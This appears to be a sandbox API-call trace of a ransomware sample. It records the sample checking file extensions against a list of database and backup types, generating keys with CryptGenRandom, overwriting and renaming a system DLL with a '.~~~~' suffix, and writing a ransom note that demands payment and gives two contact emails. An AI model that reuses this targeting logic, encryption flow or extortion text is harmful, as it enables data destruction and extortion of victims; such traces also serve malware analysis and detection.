	[0077.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".ost") returned 0x0
	[0077.769] lstrlenW (lpString=".txt") returned 4
	[0077.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".txt") returned 0x0
	[0077.769] lstrlenW (lpString=".mdt") returned 4
	[0077.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".mdt") returned 0x0
	[0077.769] lstrlenW (lpString=".BDB") returned 4
	[0077.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".BDB") returned 0x0
	[0077.769] lstrlenW (lpString=".eql") returned 4
	[0077.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".eql") returned 0x0
	[0077.769] lstrlenW (lpString=".DBF") returned 4
	[0077.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".DBF") returned 0x0
	[0077.769] lstrlenW (lpString=".EQL") returned 4
	[0077.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".EQL") returned 0x0
	[0077.769] lstrlenW (lpString=".FDB") returned 4
	[0077.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".FDB") returned 0x0
	[0077.769] lstrlenW (lpString=".EDB") returned 4
	[0077.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".EDB") returned 0x0
	[0077.769] lstrlenW (lpString=".DACPAC") returned 7
	[0077.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".DACPAC") returned 0x0
	[0077.769] lstrlenW (lpString=".VHD") returned 4
	[0077.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".VHD") returned 0x0
	[0077.770] lstrlenW (lpString=".DBV") returned 4
	[0077.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".DBV") returned 0x0
	[0077.770] lstrlenW (lpString=".dacpac") returned 7
	[0077.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".dacpac") returned 0x0
	[0077.770] lstrlenW (lpString=".sdf") returned 4
	[0077.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".sdf") returned 0x0
	[0077.770] lstrlenW (lpString=".accdb") returned 6
	[0077.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".accdb") returned 0x0
	[0077.770] lstrlenW (lpString=".DBX") returned 4
	[0077.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".DBX") returned 0x0
	[0077.770] lstrlenW (lpString=".MDT") returned 4
	[0077.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".MDT") returned 0x0
	[0077.770] lstrlenW (lpString=".SQB") returned 4
	[0077.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".SQB") returned 0x0
	[0077.770] lstrlenW (lpString=".vhd") returned 4
	[0077.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".vhd") returned 0x0
	[0077.770] lstrlenW (lpString=".bac") returned 4
	[0077.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".bac") returned 0x0
	[0077.770] lstrlenW (lpString=".mdf") returned 4
	[0077.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".mdf") returned 0x0
	[0077.770] lstrlenW (lpString=".BAK") returned 4
	[0077.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".BAK") returned 0x0
	[0077.771] lstrlenW (lpString=".BAC") returned 4
	[0077.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".BAC") returned 0x0
	[0077.771] lstrlenW (lpString=".dbs") returned 4
	[0077.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".dbs") returned 0x0
	[0077.771] lstrlenW (lpString=".vhdx") returned 5
	[0077.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".vhdx") returned 0x0
	[0077.771] lstrlenW (lpString=".NDF") returned 4
	[0077.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".NDF") returned 0x0
	[0077.771] lstrlenW (lpString=".dat") returned 4
	[0077.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".dat") returned 0x0
	[0077.771] lstrlenW (lpString=".DBS") returned 4
	[0077.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".DBS") returned 0x0
	[0077.771] lstrlenW (lpString=".CKP") returned 4
	[0077.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".CKP") returned 0x0
	[0077.771] lstrlenW (lpString=".edb") returned 4
	[0077.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".edb") returned 0x0
	[0077.771] lstrlenW (lpString=".PST") returned 4
	[0077.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".PST") returned 0x0
	[0077.771] lstrlenW (lpString=".dbf") returned 4
	[0077.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".dbf") returned 0x0
	[0077.771] lstrlenW (lpString=".SQL") returned 4
	[0077.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".SQL") returned 0x0
	[0077.771] lstrlenW (lpString=".pst") returned 4
	[0077.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".pst") returned 0x0
	[0077.772] lstrlenW (lpString=".dbv") returned 4
	[0077.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".dbv") returned 0x0
	[0077.772] lstrlenW (lpString=".SDF") returned 4
	[0077.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".SDF") returned 0x0
	[0077.772] lstrlenW (lpString=".dtxs") returned 5
	[0077.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".dtxs") returned 0x0
	[0077.772] lstrlenW (lpString=".db3") returned 4
	[0077.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".db3") returned 0x0
	[0077.772] lstrlenW (lpString=".OST") returned 4
	[0077.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".OST") returned 0x0
	[0077.772] lstrlenW (lpString=".dbx") returned 4
	[0077.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".dbx") returned 0x0
	[0077.772] lstrlenW (lpString=".DB3") returned 4
	[0077.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".DB3") returned 0x0
	[0077.772] lstrlenW (lpString=".DAT") returned 4
	[0077.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".DAT") returned 0x0
	[0077.772] lstrlenW (lpString=".VHDX") returned 5
	[0077.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".VHDX") returned 0x0
	[0077.772] lstrlenW (lpString=".ndf") returned 4
	[0077.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".ndf") returned 0x0
	[0077.772] lstrlenW (lpString=".DB") returned 3
	[0077.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".DB") returned 0x0
	[0077.773] lstrlenW (lpString=".sql") returned 4
	[0077.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".sql") returned 0x0
	[0077.773] lstrlenW (lpString=".MYD") returned 4
	[0077.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".MYD") returned 0x0
	[0077.773] lstrlenW (lpString=".DBT") returned 4
	[0077.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".DBT") returned 0x0
	[0077.773] lstrlenW (lpString=".ACCDB") returned 6
	[0077.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".ACCDB") returned 0x0
	[0077.773] lstrlenW (lpString=".fdb") returned 4
	[0077.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".fdb") returned 0x0
	[0077.773] lstrlenW (lpString=".bak") returned 4
	[0077.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".bak") returned 0x0
	[0077.773] lstrlenW (lpString=".myd") returned 4
	[0077.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".myd") returned 0x0
	[0077.773] lstrlenW (lpString=".DTXS") returned 5
	[0077.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".DTXS") returned 0x0
	[0077.773] lstrlenW (lpString=".ckp") returned 4
	[0077.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".ckp") returned 0x0
	[0077.773] lstrlenW (lpString=".dbt") returned 4
	[0077.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".dbt") returned 0x0
	[0077.773] lstrlenW (lpString=".db") returned 3
	[0077.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".db") returned 0x0
	[0077.774] lstrlenW (lpString=".TXT") returned 4
	[0077.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".TXT") returned 0x0
	[0077.774] lstrlenW (lpString=".MDF") returned 4
	[0077.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".MDF") returned 0x0
	[0077.774] lstrlenW (lpString=".bdb") returned 4
	[0077.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".bdb") returned 0x0
	[0077.774] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0077.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.774] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0077.775] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.776] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0077.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x28061e8
	[0077.776] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19776584823) returned 1
	[0077.776] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x98428b90, dwHighDateTime=0x1d60e1e)) 
	[0077.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0077.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0077.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0077.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a96c0
	[0077.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a96c0 | out: hHeap=0x300000) returned 1
	[0077.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7450
	[0077.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7e40
	[0077.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0077.776] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0077.777] GetLastError () returned 0x0
	[0077.777] GetLastError () returned 0x0
	[0077.777] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0077.777] GetLastError () returned 0x0
	[0077.777] GetLastError () returned 0x0
	[0077.777] ReadFile (in: hFile=0x130, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.780] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.780] WriteFile (in: hFile=0x130, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.782] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0077.782] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.782] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.787] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.787] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.788] CloseHandle (hObject=0x130) returned 1
	[0077.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0077.788] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.~~~~")) returned 1
	[0077.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0077.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0077.789] GetLastError () returned 0x0
	[0077.789] RtlWakeConditionVariable () returned 0x365f70
	[0077.789] GetCurrentThreadId () returned 0x3a4
	[0077.789] GetCurrentThreadId () returned 0x3a4
	[0077.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7980
	[0077.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7f70 | out: hHeap=0x300000) returned 1
	[0077.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a96f8 | out: hHeap=0x300000) returned 1
	[0077.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7f70
	[0077.789] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0077.790] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0077.790] WriteFile (in: hFile=0x130, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0077.792] CloseHandle (hObject=0x130) returned 1
	[0077.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7f70 | out: hHeap=0x300000) returned 1
	[0077.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7980 | out: hHeap=0x300000) returned 1
	[0077.792] RtlWakeConditionVariable () returned 0x365f70
	[0077.792] GetCurrentThreadId () returned 0x3a4
	[0077.792] GetCurrentThreadId () returned 0x3a4
	[0077.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7980
	[0077.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a80a0 | out: hHeap=0x300000) returned 1
	[0077.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca08 | out: hHeap=0x300000) returned 1
	[0077.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a80a0
	[0077.792] lstrlenW (lpString=".scr") returned 4
	[0077.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".scr") returned 0x0
	[0077.793] lstrlenW (lpString=".cmd") returned 4
	[0077.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".cmd") returned 0x0
	[0077.793] lstrlenW (lpString=".dll") returned 4
	[0077.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".dll") returned 0x0
	[0077.793] lstrlenW (lpString=".bat") returned 4
	[0077.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".bat") returned 0x0
	[0077.793] lstrlenW (lpString=".cpl") returned 4
	[0077.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".cpl") returned 0x0
	[0077.793] lstrlenW (lpString=".sys") returned 4
	[0077.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".sys") returned 0x0
	[0077.793] lstrlenW (lpString=".msc") returned 4
	[0077.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".msc") returned 0x0
	[0077.793] lstrlenW (lpString=".com") returned 4
	[0077.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".com") returned 0x0
	[0077.793] lstrlenW (lpString=".lnk") returned 4
	[0077.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".lnk") returned 0x0
	[0077.793] lstrlenW (lpString=".msp") returned 4
	[0077.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".msp") returned 0x0
	[0077.793] lstrlenW (lpString=".pif") returned 4
	[0077.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".pif") returned 0x0
	[0077.793] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch="msp\r\n.pif") returned 0x0
	[0077.793] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0077.795] lstrlenW (lpString=".sqb") returned 4
	[0077.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".sqb") returned 0x0
	[0077.795] lstrlenW (lpString=".ost") returned 4
	[0077.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".ost") returned 0x0
	[0077.795] lstrlenW (lpString=".txt") returned 4
	[0077.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".txt") returned 0x0
	[0077.795] lstrlenW (lpString=".mdt") returned 4
	[0077.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".mdt") returned 0x0
	[0077.795] lstrlenW (lpString=".BDB") returned 4
	[0077.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".BDB") returned 0x0
	[0077.795] lstrlenW (lpString=".eql") returned 4
	[0077.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".eql") returned 0x0
	[0077.795] lstrlenW (lpString=".DBF") returned 4
	[0077.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".DBF") returned 0x0
	[0077.796] lstrlenW (lpString=".EQL") returned 4
	[0077.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".EQL") returned 0x0
	[0077.796] lstrlenW (lpString=".FDB") returned 4
	[0077.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".FDB") returned 0x0
	[0077.796] lstrlenW (lpString=".EDB") returned 4
	[0077.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".EDB") returned 0x0
	[0077.796] lstrlenW (lpString=".DACPAC") returned 7
	[0077.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".DACPAC") returned 0x0
	[0077.796] lstrlenW (lpString=".VHD") returned 4
	[0077.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".VHD") returned 0x0
	[0077.796] lstrlenW (lpString=".DBV") returned 4
	[0077.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".DBV") returned 0x0
	[0077.796] lstrlenW (lpString=".dacpac") returned 7
	[0077.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".dacpac") returned 0x0
	[0077.796] lstrlenW (lpString=".sdf") returned 4
	[0077.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpSrch=".sdf") returned 0x0
	[0077.796] lstrlenW (lpString=".accdb") returned 6
